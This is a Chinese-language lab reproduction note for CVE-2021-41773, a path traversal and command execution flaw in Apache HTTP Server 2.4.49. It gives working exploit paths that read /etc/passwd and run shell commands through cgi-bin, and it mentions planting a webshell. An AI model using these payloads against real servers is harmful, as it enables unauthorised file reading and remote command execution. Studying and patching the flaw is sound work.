apache-httpd_2.4.49_路径穿越漏洞_CVE-2021-41773
说明 | 内容 |
---|---|
漏洞编号 | CVE-2021-41773 |
漏洞名称 | Apache HTTP Server 2.4.49 路径穿越漏洞 |
漏洞评级 | 高危 |
影响范围 | 2.4.49 |
漏洞描述 | 引入了一个路径穿越漏洞,穿越的目录允许被访问,可以执行任意命令 |
修复方案 | 升级 |
漏洞描述
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:
- 版本等于2.4.49
- 穿越的目录允许被访问,比如配置了
<Directory />Require all granted</Directory>
。(默认情况下是不允许的)
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
漏洞等级
高危
影响版本
- Apache HTTP Server 2.4.49
漏洞复现
基础环境
组件 | 版本 |
---|---|
OS | kali-linux |
Web Server | chrome |
Apache HTTP Server | 2.4.49 |
漏洞扫描
使用nuclei可以扫描到漏洞
./nuclei -u 192.168.117.163
漏洞验证
-
启动环境,访问主页,进行抓包
-
访问以下目录,可以直接读到etc/passwd文件
/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
-
将GET包改为POST包,访问以下目录,并在最后加上命令
/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh echo;id
深度利用
命令执行
可以通过修改命令进行命令执行
GetShell
可以写入一句话木马getshell
漏洞挖掘
网络测绘
Apache HTTP Server 2.4.49
修复建议
无